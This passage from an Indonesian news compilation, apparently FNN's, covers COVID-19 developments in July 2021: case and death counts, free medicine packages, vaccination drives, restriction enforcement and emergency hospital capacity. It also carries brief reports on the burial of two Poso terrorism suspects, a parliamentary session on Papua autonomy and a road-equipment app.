Dinas Kesehatan mencatat jumlah kasus COVID-19 sejak pandemi masuk di Kabupaten Sikka sudah mencapai 2.000-an kasus. Jumlah kasus yang aktif per Selasa (13/1) sebanyak 900 orang, sementara lebih dari 800 orang menjalani karantina mandiri dengan kategori orang tanpa gejala. "Pasien yang kondisinya berat kita tangani di rumah sakit, sedangkan yang ringan ditangani di rungan isolasi terpusat," katanya. (sws)

Klaster COVID-19 Ditemukan di Kapal Patroli Korsel

Seoul, FNN - Korea Selatan (Korsel) pada Kamis mengirim tim medis ke Timur Tengah untuk menangani wabah COVID-19 di sebuah kapal militer yang tengah melakukan patroli anti pembajakan, sementara rekor baru penambahan kasus masih membayangi negara itu. Korsel selama berbulan-bulan berhasil mengendalikan COVID-19 dengan pengujian, penelusuran, dan pembatasan sosial, namun varian Delta telah memicu gelombang baru dalam beberapa pekan terakhir. Wabah yang muncul di kapal berawak 300 orang saat bertugas di Teluk Aden itu menjadi masalah baru bagi pemerintahan Presiden Moon Jae-in. Moon telah memerintahkan ahli-ahli kesehatan dengan peralatan darurat untuk terbang ke lokasi guna mengendalikan wabah dan mengevakuasi pasien jika diperlukan, kata juru bicara kepresidenan Park Kyung-mee. Kantor berita Yonhap, mengutip Kepala Staf Gabungan, mengatakan enam kru kapal terkonfirmasi positif COVID-19, sementara sekitar 80 kru lainnya telah menunjukkan gejala. Tak seorang pun di kapal itu yang sudah menjalani vaksinasi, kata Yonhap. Kementerian pertahanan menolak berkomentar, tapi mengatakan sedang menyiapkan pernyataan terkait hal itu. Korsel telah mencatat 173.511 kasus COVID-19 dengan 2.050 kematian selama pandemi, menurut data Badan Pengendalian dan Pencegahan Penyakit Korea (KDCA). Baru sekitar 30,8 persen dari populasinya yang telah menerima setidaknya satu dosis vaksin, sementara 12 persen sudah menjalani vaksinasi lengkap. Klaster penularan banyak ditemukan di ibu kota Seoul dan sekitarnya, namun kasus infeksi telah menyebar ke lebih banyak daerah pedesaan, yang menambah kekhawatiran tentang sebaran varian Delta. Pemerintah telah memperketat aturan pembatasan sosial di sebagian besar wilayah pada Rabu, ketika otoritas melaporkan rekor harian yang mencapai 1.615 kasus. KDCA telah melaporkan 1.000 atau lebih kasus baru sejak 7 Juli dan otoritas setempat memperkirakan tren kenaikan akan berlangsung hingga pertengahan Agustus. Namun, belum dilaporkan ada peningkatan jumlah pasien yang dirawat atau jumlah kematian. Pada Rabu, tingkat kematian berada di angka 1,18 persen dan kasus parah berjumlah 167, jauh di bawah level yang tercatat selama gelombang pertama pada Desember lalu. (sws) Sumber: Reuters

Menkes Apresiasi Vaksinasi Lintas Agama dari Muhammadiyah Kalbar

Pontianak, FNN - Menteri Kesehatan RI, Budi Gunadi Sadikin mengapresiasi sekaligus mengucapkan terima kasih atas vaksinasi lintas agama yang digelar Muhammadiyah Kalbar. "Kami mengucapkan bersyukur dan terima kasih kepada Muhammadiyah membantu pemerintah dalam program vaksinasi. Bagi kami Muhammadiyah sangat tepat untuk akselerasi vaksinasi karena tersebar dan bisa menyasar hingga ke pelosok negeri," ujarnya saat membuka vaksinasi lintas agama melalui via zoom yang dipantau di Pontianak, Kamis. Ia menjelaskan tidak mungkin vaksinasi bisa berhasil dan cepat tanpa dukungan semua pihak. Menurutnya pemerintah tidak bisa berdiri sendiri. Apalagi untuk mencapai target vaksinasi hingga akhir tahun 2021 dari awal semeter dua harus lebih cepat empat kali dilakukan agar tercapai target. "Target 363 juta dosis vaksin tahun ini, pada enam bulan pertama Indonesia baru mendapat 75 juta dosis. Kemudian sisanya sekitar 290 juta baru akan didapat pada semester kedua 2021. Untuk itu kami mengajak masyarakat membangun gotong - royong nasional untuk mengatasi masalah saat ini. Bangsa kita sudah bisa dan terus bisa melewati sejumlah persoalan," kata dia. Sementara itu, Ketua Pimpinan Pusat Muhammadiyah, dr.Agus Taufiqurrohman, M.Kes mengatakan bahwa kegiatan vaksinasi lintas agama sebagai bentuk dukungan dan kontribusi Muhammadiyah dalam mengatasi persoalan wabah COVID-19. "Vaksinasi bagian ikhtiar penting mencegah penularan COVID-19. Untuk itu kami mendukung penuh. Ikhtiar ini bagian jihad kemanusiaan dan kemanusiaan harus kita kedepankan saat pandemi," jelas dia. Sementara itu, Gubernur Kalbar, Sutarmidji yang langsung hadir di lokasi vaksinasi lintas agama di Universitas Muhammadiyah Pontianak mengapresiasi kegiatan Muhammadiyah Kalbar. Menurutnya kegiatan tersebut bisa mempercepat dan mendukung realisasi pencapaian target vaksinasi Kalbar. "Apresiasi dengan Muhammadiyah Kalbar. Sejauh ini Pemda bersama TNI dan Polri terus kompak. Dengan dukungan pihak lainnya semakin kuat. Target kami pada 17 Agustus 2021 di Kalbar sudah ada 1 juta orang yang divaksin dan di Kota Pontianak sebagai pusat ibu kota provinsi 250 ribu orang," kata dia. Pelaksanaan vaksinasi lintas agama yang digelar mulai 15 - 17 Juli 2021 menyasar peserta sebanyak 2.000 orang dari pengurus, organisasi sayap dan keluarga besar Muhammadiyah Kalbar, mahasiswa di perguruan tinggi Universitas Muhammadiyah dan umum. (sws)

Dua Jenazah Teroris Poso Dimakamkan di TPU Poboya

Jakarta, FNN - Sebanyak dua jenazah teroris Poso yang tewas dalam operasi penyergapan dimakamkan di tempat pemakaman umum Kelurahan (TPU) Poboya, Palu, sesuai dengan syariat Islam. Pemakaman ini dilakukan setelah Tim Disaster Victim Identivication (DVI) dan Tim Inavis Polda Sulawesi Tengah selesai melakukan autopsi dan pengambilan sampel sidik jari. "Setelah dilakukan autopsi dan pengambilan sampel sidik jari, kedua jenazah teroris Poso langsung dimakamkan di tempat pemakaman umum Kelurahan Poboya, Palu, sesuai syariat Islam," kata Wakasatgas Humas Operasi Madago Raya AKBP Bronto Budiyono dalam keterangan tertulis yang dikirim melalui pesan instan di Jakarta, Kamis. Bronto menyebutkan, kedua jenazah dimakamkan Rabu (14/7) malam pukul 21.00 WITA, menggunakan peti mati yang sudah disiapkan, dengan identitas sementara menggunakan nama Mr X, atau tanpa nama. Hal ini dikarenakan pihak kepolisian belum dapat memastikan identitas kedua terduga teroris kelompok Mujahidin Indonesia Timur (MIT) Poso yang tewas dalam kontak tembak dengan Satgas Operasi Madago Raya pada Minggu (11/07). Selain itu, evakuasi yang memakan waktu tiga hari, dua jenazah berhasil dievakuasi menggunakan Helikopter Super Puma milik TNI pada Rabu (14/7), ini menyebabkan kondisi jenazah rusak sehingga menyulitkan proses identifikasi. "Karena kondisi jenazah sudah membusuk sehingga diputuskan secepatnya untuk dimakamkan secara syariat Islam, kedua jenazah yang sementara ditetapkan sebagai Mr X," kata Bronto. Menurut Bronto, prosedur identifikasi baik oleh tim DVI dan Inavis Polda Sulteng sudah dilakukan, pihak Rumah Sakit Bhayangkara Palu tinggal melakukan pengambilan sampel DNA dari keluarga kedua jenazah. Untuk itu, lanjut Bronto, diharapkan kepada keluarga kedua jenazah untuk kooperatif mendukung identifikasi kedua jenazah tersebut agar segera diketahui identitasnya. "Apabila sampel DNA dari keluarga kedua jenazah sudah bisa diambil, maka hasilnya paling cepat enam hari akan dapat diketahui identitas kedua jenazah tersebut dan kepolisian sesegera mungkin akan menyampaikan informasi perkembangannya kepada masyarakat," ujar Bronto. Bronto yang juga organik Divisi Humas Polri di Bawah Kendali Operasi (BKO) kan untuk memperkuat Satgas Humas Operasi Madago Raya menyampaikan apresiasi dari Kapolda Sulteng kepada masyarakat di daerah operasi yang telah berperan aktif dan berani melawan radikalisme dan terorisme, khususnya kelompok MIT Poso yang sudah ditetapkan sebagai buronan atau masuk Daftar Pencarian Orang (DPO) Polda Sulteng. Total ada sembilan dari 11 anggota MIT Poso berstatus DPO yang masih diburu oleh Satgas Operasi Madago Raya. Kontak senjata antara Satgas Madago Raya dengan DPO MIT Poso terjadi pada Minggu (11/7) sekitar pukul 03.30 WITA, mengakibatkan dua terduga teroris Poso tewas tertembak. Baku tembak ini bermula dari adanya informasi Satgas Intel tentang adanya penampakan lima orang yang diduga teroris Poso. Satgas Operasi Madago Raya lantas mengintensifkan pencarian dengan menelusuri jejak yang ada. Setelah memastikan itu adalah pelaku, tim langsung melakukan tindakan tegas terukur hingga dua terduga teroris Poso tewas. Tidak hanya itu, dari lokasi kejadian, Satgas Operasi Madago Raya juga mengamankan barang bukti berupa amunisi, bom lontong, kompas, dan bendera. (sws)

Panglima TNI Jelaskan Alur Peroleh Obat-Vitamin bagi Pasien Isoman

Jakarta, FNN - Panglima TNI Marsekal Hadi Tjahjanto menjelaskan pembagian paket obat dan vitamin gratis untuk pasien isolasi mandiri (isoman) akan berbasis data sesuai triase atau identifikasi oleh aparatur desa, puskesmas atau bidan desa. “Sesuai prosedur karena kita melaksanakan isolasi mandiri berbasis desa. Puskesmas, atau bidan desa akan melakukan triase (identifikasi pasien berbasis risiko) apakah mereka OTG (tanpa gejala), ODG (dengan gejala) ringan, sedang atau berat sehingga data tersebut sudah dimiliki bidan desa atau puskesmas,” kata Hadi di Halaman Istana Merdeka seperti ditayangkan Youtube Sekretariat Presiden, Jakarta, Kamis. Dengan begitu, kata Hadi, pasien isoman yang mendapat paket obat dan vitamin tersebut adalah yang sudah terdata di puskesmas atau bidan desa. "Untuk mendapatkan obat atau paket tersebut itu sudah terdata dengan baik oleh puskesmas atau bidan-bidan desa sehingga mereka berhak untuk mendapatkan paket obat tersebut," kata Hadi. Para petugas di puskesmas atau desa dan didampingi aparat Babinsa, yang akan membagikan obat atau vitamin tersebut kepada pasien isoman. Rujukan pasien yang mendapat paket obat dan vitamin itu adalah bersumber dari data puskesmas. Pembagian paket obat dan vitamin bagi pasien isoman ini, kata Hadi, akan diawasi oleh aparat kesehatan Kodam, Kodim, Koramil, dan Babinsa. Sebelumnya, Presiden Jokowi menjelaskan ada tiga jenis paket obat dan vitamin yang dibagikan untuk digunakan dalam masa waktu tujuh hari. Paket pertama, berisi vitamin untuk warga dengan hasil tes usap PCR Positif, namun tanpa gejala atau disebut Orang Tanpa Gejala (OTG). Paket kedua, berisi vitamin dan obat untuk warga dengan hasil tes usap PCR positif disertai keluhan panas dan kehilangan penciuman. Konsumsi paket ini membutuhkan konsultasi dan resep dokter. Sedangkan, paket ketiga berisi vitamin dan obat untuk warga yang mendapat tes usap PCR positif disertai keluhan panas dan batuk kering. Konsumsi paket ini juga membutuhkan konsultasi dan resep dari dokter. “Ketiga paket obat isoman ini tidak diperjualbelikan. Pasokannya disiapkan oleh Menteri BUMN yang diproduksi oleh BUMN Farmasi, dan kemudian distribusinya ini akan dikoordinasikan oleh Panglima TNI dan nanti tentu akan berkoordinasi dengan pemerintah daerah sampai pemerintah desa, maupun melibatkan Puskemas, dan pengurus RT/RW," kata Presiden Jokowi. (sws)

Kematian Akibat COVID-19 di Kota Semarang Tembus 5 Ribu Orang

Semarang, FNN - Data dari laman siaga corona mencatat jumlah penderita terkonfirmasi COVID-19 di Kota Semarang, Jawa Tengah, yang meninggal dunia sudah menembus angka 5 ribu orang. Data laman https://siagacorona.semarangkota.go.id hingga Kamis pada pukul 12.00 WIB mencatat jumlah penderita yang meninggal dunia tepat mencapai 5 ribu orang. Dari jumlah tersebut, 3.421 orang tercatat sebagai warga Kota Semarang dan 1.579 orang lainnya berasal dari luar wilayah ini namun menjalani perawatan di berbagai fasilitas kesehatan yang ada di Ibu Kota Jawa Tengah ini. Adapun jumlah pasien terkonfirmasi COVID-19 yang masih menjalani perawatan tercatat mencapai 2.196 orang. Dari jumlah itu, 1.606 orang di antaranya merupakan warga Kota Semarang. Wali Kota Semarang Hendrar Prihadi sebelumnya menyatakan angka kasus COVID-19 di Ibu Kota Jawa Tengah ini masih relatif tinggi hingga sepekan pelaksanaan PPKM darurat. Meski demikian, kata dia, berbagai upaya yang dilakukan pemerintah kota dan para pemangku kepentingan terkait selama pelaksanaan PPKM darurat telah mampu menekan angka mobilitas masyarakat hingga 30 persen. "Kami menyampaikan terima kasih atas dukungan masyarakat sehingga upaya menekan angka mobilitas hingga 30 persen bisa tercapai," katanya. Ia menargetkan untuk dapat menekan angka mobilitas masyarakat hingga 50 persen untuk menekan penyebaran COVID-19. Upaya lain yang dilakukan, kata dia, yakni dengan menambah jumlah ruas jalan yang ditutup serta pemadaman lampu penerangan jalan umum sehingga aktivitas masyarakat bisa ditekan. (sws)

Menteri BUMN: Paket Obat Gratis agar Rakyat Tidak Kebingungan

Jakarta, FNN - Menteri BUMN Erick Thohir menjelaskan pendistribusian obat dan vitamin gratis bagi pasien COVID-19 yang sedang melakukan isolasi mandiri (isoman) adalah agar rakyat tidak merasa kebingungan. "Kami diberi tugas untuk memberikan suplai atau kepastian untuk pengadaan 300 ribu paket yang sekarang sudah dipromosikan, tentu hal ini menjaga negara hadir untuk rakyat, kita mau rakyat segera sembuh dari COVID-19, kita mau rakyat tidak kebingungan dengan adanya isu kekurangan obat," kata Erick Thohir di halaman Istana Merdeka Jakarta, Kamis. Erick Thohir menyampaikan tersebut dalam acara "Peluncuran Paket Obat Isoman Gratis untuk Rakyat" yang dipimpin langsung oleh Presiden Joko Widodo. Ada 300 ribu paket obat dan vitamin yang dibagikan kepada warga yang melakukan isoman di Pulau Jawa dan Bali. Pemerintah membagi menjadi tiga paket yaitu paket 1 berisi vitamin untuk warga dengan hasil PCR (polymerase chain reaction) positif tanpa gejala atau OTG; paket 2 berisi vitamin dan obat untuk warga dengan PCR positif disertai keluhan panas dan kehilangan penciuman; dan paket 3 berisi vitamin dan obat untuk warga dengan PCR positif disertai keluhan panas dan batuk kering. "Makanya kita penetrasi dengan obat gratis ini secara baik. Kami berharap semua, apalagi TNI sekarang turun, kita mengharap rakyat sabar, kita akan hadir di rumah masing-masing dengan cara-cara tepat dan sesuai standar yang sudah ada di Kementerian dan BPOM," ungkap Erick. Meski ada pembagian obat gratis, Erick mengatakan masyarakat yang ingin mencari obat tetap dapat mencarinya ke apotek. "Kami bersama Kemenkes sudah launching website di Kemenkes sehingga warga bisa lihat ketersediaan obat di apotek-apotek di bawah Kimia Farma atau kementerian BUMN," tambah Erick. Selain itu BUMN farmasi, menurut Erick, terus memproduksi obat sesuai standar yang ditentukan Kemenkes dan BPOM. "Apalagi kemenkes kemarin sudah mengatakan beberapa obat ini bisa diakses oleh publik, hal ini yang kita utamakan kesediaan obat untuk masyarakat yang didukung oleh banyak kementerian," kata Erick. Namun Erick menegaskan, ketersediaan obat bukan hanya tanggung jawab BUMN farmasi melainkan juga perusahaan farmasi swasta lainnya. "Kami memastikan obat-obat generik dengan harga yang sangat terjangkau jauh di bawah pasaran, tentu kami tidak ingin menyaingi pihak-pihak tertentu yang ingin melakukan perbaikan sistem untuk memastikan produksi obat ada," ungkap Erick. BUMN Farmasi, menurut Erick sudah memproduksi 4 jenis obat COVID-19 antara lain oseltamivir, paviravir, remdesivir dengan kuantitas yang besar. "Kami sekarang menjajaki obat-obat Tocilizumab yang sekarang memang menjadi salah satu obat yang dicari-cari dan kita bekerja sama dengan Kementerian Luar Negeri untuk memastikan apakah ada akses supaya kita mendapat lisensi produksi obat yang dibutuhkan," jelas Erick. Berdasarkan data Satgas COVID-19 per 14 Juli 2021, total kasus COVID-19 di Indonesia sudah mencapai 2.670.046 kasus dengan penambahan dalam 24 jam tercatat sebanyak 54.517 orang yang menjadi rekor kasus harian COVID-19 tertinggi di Indonesia sejak Maret 2020 lalu. Adapun kasus aktif tercatat sebanyak 443.473 orang. Pasien sembuh bertambah sebanyak 20.123 orang sehingga akumulasi total yang telah sembuh adalah 2.157.363 orang. Sedangkan mereka yang meninggal karena terpapar COVID-19 bertambah 869 orang sehingga total kematian akibat COVID-19 di Indonesia adalah 69.210. (sws)

DPR Gelar Paripurna Ambil Keputusan RUU Otsus Papua

Jakarta, FNN - Ketua DPR RI Puan Maharani akan memimpin Rapat Paripurna DPR pada Kamis (15/7) dengan salah satu agendanya pengambilan keputusan terhadap RUU tentang Perubahan Kedua atas UU Nomor 21 Tahun 2001 tentang Otonomi Khusus Bagi Provinsi Papua (Otsus Papua). "RUU Otsus Papua merupakan RUU yang sangat ditunggu-tunggu oleh saudara-saudara kita di tanah Papua," kata Puan Maharani dalam keterangannya di Jakarta, Kamis. Puan juga direncanakan akan menyampaikan pidato penutupan Masa Persidangan V DPR RI Tahun Sidang 2020-2021. Dia mengatakan, selama Masa Persidangan V tersebut, DPR telah banyak melaksanakan kegiatan dalam rangka menjalankan tugas konstitusional. "Selama masa persidangan ini telah banyak kegiatan untuk menjalankan tugas konstitusional DPR yang telah dilakukan, dan dilaksanakan dengan protokol kesehatan pandemi COVID-19," ujarnya. Agenda lain rapat paripurna DPR tersebut adalah pertama, penyampaian RUU tentang Pertanggungjawaban atas Pelaksanaan APBN Tahun Anggaran 2020 oleh Pemerintah. Kedua, laporan Komisi VII DPR RI atas hasil uji kelayakan dan kepatutan atau "fit and proper test" terhadap Calon Ketua dan Anggota Komite BPH Migas Masa Jabatan 2021-2025 dilanjutkan dengan Pengambilan Keputusan. Ketiga, persetujuan terhadap permohonan pertimbangan pemberian kewarganegaraan Republik Indonesia dilanjutkan dengan pengambilan keputusan. Selain itu, ada penyampaian Pendapat Fraksi-Fraksi terhadap sejumlah RUU Usul Inisiatif Badan Legislasi DPR RI, dan penetapan perpanjangan waktu pembahasan RUU tentang perubahan atas Undang-Undang Nomor 5 Tahun 2014 tentang Aparatur Sipil Negara; dan RUU tentang perubahan atas Undang-Undang Nomor 1 Tahun 1973 tentang Landas Kontinen Indonesia. Rapat Paripurna DPR tersebut akan dimulai pukul 10.30 WIB dan akan dihadiri anggota DPR secara virtual serta fisik, dengan menerapkan protokol kesehatan yang ketat. (sws)

Anggota DPR: Perpanjangan PPKM Dibarengi Pengawasan Ketat Pemerintah

Jakarta, FNN - Wakil Ketua Komisi II DPR RI Luqman Hakim menilai rencana pemerintah memperpanjang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat harus dibarengi dengan pengawasan ketat dan ketegasan pemberian sanksi kepada siapapun yang melanggarnya. "Karena tanpa pengawasan yang ketat, PPKM Darurat lebih banyak mendatangkan kerugian bagi masyarakat baik pada aspek kesehatan maupun ekonomi," kata Luqman Hakim di Jakarta, Kamis. Dia menilai apabila pemerintah ragu akan kemampuannya melakukan pengawasan maka sebaiknya PPKM Darurat di Jawa-Bali tidak perlu diperpanjang sehingga perlu mulai menyusun kebijakan alternatif lain pengendalian COVID-19. Luqman meminta pemerintah harus mengevaluasi secara jujur dan obyektif atas pelaksanaan PPKM Darurat di Jawa-Bali yang telah berlangsung mulai 3 Juli. "Dari pengamatan lapangan yang saya lakukan 7-11 Juli dan 13 Juli, pelaksanaan PPKM Darurat di banyak tempat tidak berjalan optimal. Penyekatan transportasi publik hanya serius dilakukan hari Minggu, hari lainnya (Senin-Sabtu) terlihat lalu lintas bebas dimana-mana," ujarnya. Selain itu menurut dia, beberapa tempat perbelanjaan tetap buka seperti hari-hari biasa, meskipun bukan penyedia bahan makanan dan peralatan kesehatan Luqman juga melihat masih banyak orang makan di warung-warung makan, sehingga seolah-olah tidak ada pengawasan dari aparat pemerintah daerah setempat. "Saya melihat semua itu, tanggal 13 Juli di beberapa tempat yang masuk wilayah administrasi Kota Depok dan Kabupaten Bogor. Sebelunmya, pada tanggal 7-11 Juli, saya memantau beberapa daerah di Jawa Tengah, juga melihat hal serupa," katanya. Dia mengatakan memang terjadi penurunan mobilitas warga dalam kebijakan PPKM Darurat namun tidak sebanding dengan laju penularan COVID-19. Menurut dia, harus diakui pelaksanaan PPKM Darurat banyak kelemahan di lapangan dan tentu banyak faktor yang menyebabkan hal tersebut. Politisi PKB itu menilai yang utama adalah tingginya kejenuhan masyarakat pada pandemi COVID-19 yang sudah berlangsung 1,5 tahun; kedua, banyak pemerintah daerah yang kurang tegas dalam pelaksanaan dan pengawasan PPKM Darurat. "Ketiga, banyak daerah yang tidak memberi penjelasan clear mengenai bantuan sosial kepada masyarakat terdampak pandemi selama PPKM Darurat berlangsung," katanya. (sws)

Petugas Menjaga Titik Penyekatan di Lintas Bawah Mampang Prapatan

Jakarta, FNN - Petugas gabungan dari TNI, Polri, Dinas Perhubungan dan Satpol PP DKI Jakarta menjaga titik penyekatan di jalan lintas bawah (underpass) Mampang Prapatan, Jakarta Selatan, untuk mengendalikan mobilitas masyarakat. Pantauan ANTARA di Jalan Mampang Prapatan, petugas memasang barikade di depan terowongan menuju jalan lintas bawah arah Jalan Rasuna Said, Kuningan. Pengendara atau pekerja yang bukan termasuk sektor kritikal dan esensial diarahkan melewati Jalan Tendean. Sedangkan pekerja sektor kritikal dan esensial yang melengkapi diri dengan surat izin diperkenankan melewati lintas bawah. Jalur lintas bawah Mampang Prapatan hanya disekat satu jalur yakni Mampang Prapatan menuju Jalan Rasuna Said, Kuningan Jakarta Selatan ( Jaksel). Sedangkan jalur sebaliknya di lintas bawah dari Jalan Rasuna Said menuju Mampang Prapatan masih dibuka. Selain itu, kendaraan bus TransJakarta dan ambulans diperbolehkan melintas di titik penyekatan lintas bawah Mampang Prapatan selama PPKM Darurat. Lintas bawah Mampang Prapatan merupakan salah satu titik penambahan penyekatan dari total 100 titik penyekatan yang berlaku pada Kamis ini. Polda Metro Jaya mencatat total jumlah personel yang bertugas dalam penyekatan di lintas bawah Mampang Prapatan mencapai 42 orang. Personel tersebut terdiri atas Satuan Lalu Lintas sebanyak 10 orang, Sabhara (6), Brimob (10), TNI (10) dan Pemda (6). (mth)

Kemenhub Luncurkan Aplikasi SIP-AJA untuk Mudahkan Kelengkapan Jalan

Jakarta, FNN - Direktorat Jenderal Perhubungan Darat Kementerian Perhubungan mempermudah penyelenggaraan perlengkapan jalan melalui sebuah aplikasi Sistem Informasi Perlengkapan Jalan atau yang dapat disebut SIP-AJA. Direktur Jenderal Perhubungan Darat Budi Setiyadi menyampaikan apresiasi kepada Direktorat Lalu Lintas Jalan yang telah menyusun dan meluncurkan aplikasi SIP-AJA. Ia berharap melalui aplikasi ini inventarisasi dan identifikasi perlengkapan jalan khususnya di jalan nasional dapat terdata dengan rapi sehingga memudahkan proses pengadaan hingga pemeliharaan. "Di era digitalisasi 4.0 saat ini, memang sudah seharusnya kita memanfaatkan teknologi agar dapat bekerja lebih efektif, efisien, serta akuntabel. Nantinya aplikasi SIP-AJA akan mempermudah dalam aspek perencanaan, pengawasan, penyelenggaraan, dan pemantauan kinerja perlengkapan jalan di seluruh jalan nasional yang dilengkapi dengan visualisasi," kata Budi Setiyadi dalam keterangan tertulis di Jakarta, Kamis. Budi mengatakan melalui keberadaan aplikasi mobile SIP-AJA dapat memudahkan Direktorat Lalu Lintas Jalan dalam menyusun kebijakan pengadaan perlengkapan jalan ke depan. "Dalam penyelenggaraan perlengkapan jalan nanti akan diambil kebijakan skema pembelian layanan atau buy the service, pengadaan dan pemasangan perlengkapan jalan berbasis per jenis perlengkapan jalan dan pengadaan yang dilakukan dengan e-katalog sektoral atau toko daring," ujarnya. Kebijakan tersebut diambil dengan tujuan agar risiko yang selama ini ditanggung pemerintah dapat dibagi ke pihak kedua atau ketiga. Di samping itu, agar layanan kinerja perlengkapan jalan lebih terjamin dan dapat lebih banyak melibatkan peran UMKM untuk ikut berpartisipasi dalam pemeliharaan dan pengoperasiannya. "Adanya kebijakan buy the service juga dapat membuat aset yang dimiliki pemerintah lebih terproteksi serta kontrak layanan dapat berlangsung multiyears," tambah Dirjen Budi. Sementara itu, Direktur Lalu Lintas Jalan Suharto, dalam laporannya juga mengatakan bahwa pihaknya masih mengalami kesulitan dalam hal pelaporan dan evaluasi perlengkapan jalan saat ini. Oleh karena itu, aplikasi SIP-AJA dapat bermanfaat sebagai alat bantu untuk memudahkan penyusunan kebijakan pengadaan perlengkapan jalan di masa yang akan datang. "Aplikasi ini merupakan pengganti dari Survei Investigasi Desain (SID) yang selama ini biasa kita lakukan 5 tahun sekali. Sedangkan, kebutuhan perlengkapan jalan bersifat dinamis, sangat tergantung pada kondisi lalu lintas dan perkembangan tata guna lahan," ungkap Suharto. Pada kesempatan yang sama, Plt. Kasubdit Perlengkapan Jalan, M Husein Saimima turut mengungkapkan bahwa aplikasi SIP-AJA merupakan sebuah solusi atas pemantauan kondisi dan kinerja perlengkapan jalan yang sebelumnya masih menggunakan cara konvensional. "Meskipun begitu, untuk saat ini SIP-AJA masih terbatas hanya dapat diunduh di Google Play untuk pengguna Android. Mudah-mudahan ke depan aplikasi ini bisa diunduh di iOs untuk pengguna Apple," kata Husein. Selanjutnya, Kepala Biro Layanan Pengadaan dan Pengelolaan Barang Milik Negara Kementerian Perhubungan Harno Trimadi, menuturkan pengadaan perlengkapan jalan ke depan akan memanfaatkan e-katalog, khususnya untuk marka jalan. "Pengadaan marka jalan diproses lebih dulu dengan e-katalog karena umur ekonomisnya yang paling pendek yaitu 2 tahun dan kemudian akan hilang. Hal ini bertujuan agar pencatatan aset jadi lebih baik dan jelas nantinya," pungkas Harno. Turut hadir secara virtual dalam acara ini yaitu Plt. Kasubdit Uji Tipe Kendaraan Bermotor, Dewanto Purnacandra dan seluruh Kepala Balai Pengelola Transportasi Darat se-Indonesia. (mth)

Arie Karimah: Suntikan Booster yang Kontra

Jakarta, FNN - Pemerintah berencana memberi suntikan booster (vansin ketiga) untuk tenaga kesehatan. Pro dan kontra mulai ada. Menurut Arie Karimah, Pharma-Excellent, Alumni ITB, Pro-kontra akan selalu ada. Regulator seperti FDA, CDC dan WHO tentu akan berpikir dengan kacamata yang berbeda dengan produsen vaksin, yang harus melakukan riset dan pengembangan, serta praktisi yang melihat realita di lapangan. Adanya ketidaksetujuan WHO, kata Arie Karimah seperti diungkap dalam akun Facebook-nya itu lebih karena, jika negara-negara maju memberikan suntikan 3 kali kepada warganya, maka akan berdampak pada negara-negara berkembang dan miskin. Di sana rakyatnya mungkin masih kesulitan mendapatkan suntikan pertama akan merasakan ketidakadilan. “Jatah itu bisa jadi sudah digunakan untuk menyuntikkan booster ke warga negara maju,” ungkapnya. WHO tentu juga menyinggung tentang belum cukupnya bukti ilmiah kebutuhan suntikan booster. Tapi WHO tidak berbicara tentang bagaimana jika kasus breakthrough infections yang cukup tinggi dan kematian nakes juga terus meningkat? “Sementara vaksin yang digunakan dalam program nasional memiliki efikasi hanya 51%,” lanjut Arie Karimah. Menurutnya, ketidaksetujuan FDA dan CDC lebih disebabkan, mereka meyakini dengan suntikan 2 kali vaksin berefikasi 95% sudah cukup melindungi warga mereka. Tapi, FDA dan CDC tidak menyinggung tentang tingginya kasus breakthrough infections dan kematian nakes pada program vaksinasi nasional dengan produk berefikasi 51%, yang tidak digunakan di negara mereka. (mth)

Menhan Perintahkan Ubah Fasilitas-Fasilitas Kemhan Menjadi Rumah Sakit Darurat

Jakarta, FNN - Menteri Pertahanan Republik Indonesia Prabowo Subianto, Rabu (14/7), meninjau langsung kesiapan Pusat Pendidikan dan Pelatihan Manajemen Pertahanan (Pusdiklat Jemenhan Badiklat Kemhan) dan Pusdiklat Bahasa (Pusbahasa) Badiklat Kemhan di Pondok Labu, Jakarta Selatan sebagai rumah sakit satelit bagi RS dr. Suyoto di Bintaro, Jakarta Selatan, yang selama ini telah melayani pasien Covid-19. Adanya ruangan tambahan yang berlokasi di Pusdiklat Jemenhan dan Pusbahasa Badiklat Kemhan ini sangat dibutuhkan karena saat ini pasien Covid-19 yang datang dan dirawat di RS dr. Suyoto dengan kondisi sedang sampai dengan berat jumlahnya meningkat tajam dan menyebabkan tak tertampungnya pasien. “Kami mengalihkan beberapa kegiatan pokok. Sarana-sarana yang ada terutama badan pendidikan latihan, sarana pendidikan kita sementara kita alihkan. Kita hentikan kursus-kursus. Siswa kita pulangkan, mereka laksanakan kursus virtual. Ruangan-ruangan kita ubah menjadi RS darurat,” kata Menhan Prabowo, Rabu. Gedung Pusdiklat Jemenhan dan Pusdiklat Bahasa memiliki daya tampung sebanyak 172 kamar dengan kapasitas 344 tempat tidur. Sebagai rumah sakit satelit, akan siapkan pula ruang ICU dan HCU dengan dua ventilator, dan akan dilengkapi dengan oksigen generator untuk mendukung kebutuhan oksigen pasien. Rumah sakit satelit ini juga akan dilengkapi dengan perangkat tenaga kesehatan yang dibutuhkan dari RS dr. Suyoto, termasuk diantaranya Dokter Umum, Dokter Spesialis Penyakit Dalam, Dokter Spesialis Paru, serta Dokter Anestesi. RS satelit ini akan menampung pasien Covid-19 dengan status sedang. Selain meninjau kesiapan Pusdiklat Bahasa, Menhan menyatakan bahwa saat ini sedang disiapkan fasilitas tambahan di Badiklat Kemhan Salemba, Pusdiklat Bela Negara di Rumpin Bogor serta Mess Stand By Force di IPSC, Sentul, sehingga jumlah tempat tidur yang disiapkan oleh Kemhan untuk menghadapi lonjakan kasus Covid mencapai 1.650 tempat tidur di Jabodetabek. “Jadi kita berhasil dalam waktu dekat menambah tempat tidur kurang lebih 1.650. Dengan instalasi ICU, IGD, dukungan ventilator, oksigen, dan sebagainya,” ujar Menhan. Dalam kunjungannya, Menhan Prabowo juga menyampaikan apresiasi kepada tenaga kesehatan yang selama ini sudah bekerja, baik tenaga kesehatan organik RS Suyoto maupun komponen pendukung. “Saya lihat upaya keras staf Kemhan, para dokter, para tenaga kesehatan, para relawan juga banyak dari daerah-daerah sebagai komponen pendukung. Kita ada komponen pendukung kesehatan yang sudah bekerja lebih dari satu tahun di RS Suyoto sebagian kami pindahkan ke sini,” kata Menhan Prabowo. Sejak awal pandemi Covid-19, RS dr. Suyoto yang berada di bawah Pusat Rehabilitasi Kementerian Pertahanan di Bintaro Jakarta Selatan telah menjadi RS rujukan bagi pasien Covid-19, baik pegawai Kemhan, personel TNI dan keluarganya serta masyarakat umum, dengan persentase pasien masyarakat umum sekitar 80 persen. RS dr. Suyoto memiliki kapasitas sekitar 236 tempat tidur, namun saat ini dihadapkan kepada jumlah pasien khususnya pasien Covid-19 yang meningkat tajam, sehingga 